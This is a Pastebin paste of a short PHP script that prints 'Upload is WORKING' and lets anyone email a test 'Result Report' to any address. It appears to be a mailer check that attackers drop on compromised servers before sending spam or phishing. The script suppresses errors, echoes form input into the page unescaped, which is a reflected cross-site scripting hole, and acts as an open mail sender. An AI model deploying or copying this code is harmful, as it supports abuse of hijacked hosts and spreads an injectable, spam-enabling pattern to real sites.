Advertisement
Guest User

Untitled

a guest
Feb 21st, 2020
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.68 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. ?>
  5. Upload is <b><color>WORKING</color></b><br>
  6. Check  Mailling ..<br>
  7. <form method="post">
  8. <input type="text" placeholder="E-Mail" name="email" value="<?php print $_POST['email']?>"required ><input type="text" placeholder="Order ID" name="orderid" value="<?php print $_POST['orderid']?>" ><br>
  9. <input type="submit" value="Send test >>">
  10. </form>
  11. <br>
  12. <?php
  13. if (!empty($_POST['email'])){
  14.     if (!empty($_POST['email'])){
  15.         $xx =$_POST['orderid'];
  16.     }
  17.     else{
  18.         $xx = rand();
  19.    
  20.     }
  21.     mail($_POST['email'],"Result Report Test - ".$xx,"WORKING !");
  22.     print "<b>send an report to [".$_POST['email']."] - Order : $xx</b>";
  23. }
  24. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement